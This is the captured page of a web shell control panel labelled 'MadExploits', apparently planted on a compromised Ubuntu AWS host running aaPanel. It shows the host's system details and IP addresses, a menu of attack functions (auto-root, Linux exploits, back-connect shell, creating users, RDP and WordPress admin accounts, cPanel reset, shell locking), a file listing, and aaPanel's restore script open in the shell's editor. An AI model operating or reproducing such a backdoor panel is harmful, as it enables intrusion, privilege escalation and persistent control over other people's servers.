Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.216.129.37
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panel_restore_v2.py
# coding: utf-8 # ------------------------------------------------------------------- # aaPanel # ------------------------------------------------------------------- # Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. # ------------------------------------------------------------------- # Author: zhwwen <zhw@aapanel.com> # ------------------------------------------------------------------- # # ------------------------------ # 网站恢复 # ------------------------------ import public,os,files,sys from time import sleep from public.validate import Param class panel_restore: _local_file = '/tmp/{}' _progress_file = '/tmp/restore_site.log' # def __init__(self): # # 清空日志文件 def _progress_rewrite(self,content,mothed='a+'): sleep(2) public.writeFile(self._progress_file,content+'\n',mothed) def _get_local_backup_path(self): local_backdir = public.M('config').field('backup_path').find()['backup_path'] return local_backdir def _build_aws_backup_path(self,btype,file_name,domain): config_file = "/www/server/panel/plugin/aws_s3/config.conf" conf = public.readFile(config_file) backup_path = conf.split('|')[-1].strip()+btype+'/'+ domain + '/' + file_name return backup_path def _build_google_backup_path(self,btype,file_name,domain): object_name = 'bt_backup/{}/{}/{}'.format(btype,domain,file_name) return object_name def _get_backfile_method(self,filename): backup_info = public.M('backup').where("name=?", (filename,)).getField('filename') backup_info = backup_info.split('|') if len(backup_info) >= 3: method = backup_info[1] else: method = 'local' return method def _remove_old_website_file_to_trush(self,args): # 将原来目录移至回收站 files.files().DeleteDir(args) def _get_website_info(self,site_id): site_name = public.M('sites').where("id=?",(site_id,)).getField('name') site_path = public.M('sites').where("id=?",(site_id,)).getField('path') return {'site_name':site_name,'site_path':site_path} def _restore_backup(self,local_backup_file_path,site_info,args): # 判断备份文件是否存在,如果不存在继续检查是否远程备份 if not os.path.exists(local_backup_file_path): self._progress_rewrite('No backup file found: {}'.format(str(local_backup_file_path))) return public.return_message(-1, 0, public.lang("Panel does not find the backup file: {}",local_backup_file_path)) # 将网站目录移至回收站 self._progress_rewrite('Move the current website directory to the recycle bin: {}'.format(str(args.path))) self._remove_old_website_file_to_trush(args) if not os.path.exists(args.path): self._progress_rewrite('Create an empty directory for the site: {}'.format(str(args.path))) os.makedirs(site_info['site_path']) if 'zip' in args.file_name: uncompress_comand = 'unzip' else: uncompress_comand = 'tar -zxvf' self._progress_rewrite('The decompression command is: {}'.format(str(uncompress_comand))) self._progress_rewrite('Start to restore data......') public.ExecShell('cd {} && {} {} >> /tmp/restore_site.log'.format(site_info['site_path'], uncompress_comand, local_backup_file_path)) if len(os.listdir(site_info['site_path'])) == 2: public.ExecShell('cd {s} && mv {s}/{d}/* .'.format(s=site_info['site_path'],d=site_info['site_name'])) public.ExecShell('cd {s} && rmdir {d}'.format(s=site_info['site_path'],d=site_info['site_name'])) # 将文件全新设置为644,文件夹设置为755 self._progress_rewrite('Setting site permissions......') files.files().fix_permissions(args) def _download_aws_file(self,args,btype='site'): sys.path.append('/www/server/panel/plugin/aws_s3') import aws_s3_main aws3 = aws_s3_main.aws_s3_main() self._progress_rewrite('Building S3 download path...') download_file = self._build_aws_backup_path(btype,args.file_name,args.obj_name) self._progress_rewrite('The download path is:{}'.format(download_file)) self._local_file = self._local_file.format(args.file_name) self._progress_rewrite('Backup file will be downloaded to:{}'.format(self._local_file)) self._progress_rewrite('Starting to download file:{}'.format(self._local_file)) args.object_name = download_file args.local_file = self._local_file aws3.download_file(args) self._progress_rewrite('Download completed:{}'.format(self._local_file)) return self._local_file def _download_google_cloud_file(self,args,btype='site'): sys.path.append('/www/server/panel/plugin/gcloud_storage') import gcloud_storage_main gs = gcloud_storage_main.gcloud_storage_main() self._progress_rewrite('Building Google Store download path...') download_file = self._build_google_backup_path(btype,args.file_name,args.obj_name) self._progress_rewrite('The download path is:{}'.format(download_file)) self._local_file = self._local_file.format(args.file_name) self._progress_rewrite('Backup file will be downloaded to:{}'.format(self._local_file)) self._progress_rewrite('Starting to download file:{}'.format(self._local_file)) args.source_blob_name = download_file args.destination_file_name = self._local_file gs.download_blob(args) self._progress_rewrite('Download completed:{}'.format(self._local_file)) return self._local_file def _download_google_drive_file(self,args): sys.path.append('/www/server/panel/plugin/gdrive') import gdrive_main gd = gdrive_main.gdrive_main() self._local_file = self._local_file.format(args.file_name) self._progress_rewrite('Backup file will be downloaded to:{}'.format(self._local_file)) self._progress_rewrite('Starting to download file:{}'.format(self._local_file)) gd.download_file(args.file_name) self._progress_rewrite('Download completed:{}'.format(self._local_file)) return self._local_file def restore_website_backup(self,args): """ @name 恢复站点文件 @author zhwen<zhw@aapanel.com> @parma file_name 备份得文件名 @parma site_id 网站id """ # 校验参数 try: args.validate([ Param('file_name').String(), Param('site_id').Integer(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) self._progress_rewrite('','w') site_info = self._get_website_info(args.site_id) self._progress_rewrite('Get site information:{}'.format(str(site_info))) args.path = site_info['site_path'] args.obj_name = site_info['site_name'] self._progress_rewrite('Get the site path:{}'.format(str(site_info['site_path']))) local_backup_path = self._get_local_backup_path() local_backup_file_path = local_backup_path +'/site/'+ args.file_name if not os.path.exists(local_backup_file_path): local_backup_file_path = local_backup_path +'/site/'+ site_info['site_name']+'/'+args.file_name self._progress_rewrite('Get the local backup file path: {}'.format(str(local_backup_path))) backup_method = self._get_backfile_method(args.file_name) self._progress_rewrite('Get the backup method: {}'.format(str(backup_method))) if backup_method == 'local': self._progress_rewrite('Start to restore local backup files: {}'.format(str(local_backup_file_path))) result = self._restore_backup(local_backup_file_path,site_info,args) if result: self._progress_rewrite('Recovery failed: {}'.format(str(site_info['site_path']))) return result elif backup_method == 'aws_s3': self._download_aws_file(args) result = self._restore_backup(self._local_file, site_info, args) elif backup_method == 'Google Cloud': self._download_google_cloud_file(args) result = self._restore_backup(self._local_file, site_info, args) elif backup_method == 'Google Drive': self._download_google_drive_file(args) result = self._restore_backup(self._local_file, site_info, args) else: return public.return_msg_gettext(False,'Currently only supports restoring local, Google storage and AWS S3 backups') if os.path.exists(self._local_file): os.remove(self._local_file) if result: self._progress_rewrite('Recovery failed: {}'.format(str(site_info['site_path']))) return result self._progress_rewrite('Successful recovery: {}'.format(str(site_info['site_path']))) return public.return_message(0, 0, public.lang("Restore Successful")) # 取任务进度 def get_progress(self, get): """ @name 获取进度日志 @author zhwen<zhw@aapanel.com> """ # result = public.GetNumLines(self._progress_file, 20) result = public.ExecShell('tail -n 20 {}'.format(self._progress_file))[0] if len(result) < 1: return public.return_message(0, 0, public.lang("Wait for the restore to start")) return public.return_message(0,0,result) # 恢复数据库 def restore_db_backup(self,args): """ @name 恢复站点文件 @author zhwen<zhw@aapanel.com> @parma file_name 备份得文件名 /www/backup/database/db_test_com_20200817_112722.sql.gz|Google Drive|db_test_com_20200817_112722.sql.gz @parma obj_name 数据库名 """ if "|" not in args.file: return public.returnMsg(True,'success') try: backup_info = args.file.split('|') args.file_name = backup_info[-1] args.obj_name = args.name backup_method = backup_info[1] self._progress_rewrite('','w') self._progress_rewrite('Restoring database...') self._progress_rewrite('Get the backup method: {}'.format(str(backup_method))) if backup_method == 'aws_s3': self._download_aws_file(args,'database') elif backup_method == 'Google Cloud': self._download_google_cloud_file(args,'database') elif backup_method == 'Google Drive': self._download_google_drive_file(args) else: return public.returnMsg(False,'Currently only supports restoring local, Google storage and AWS S3 backups') public.ExecShell('mv {} {}/database'.format(self._local_file, self._get_local_backup_path())) return public.returnMsg(True,'success') except: return public.returnMsg(False,"Download error!")
Close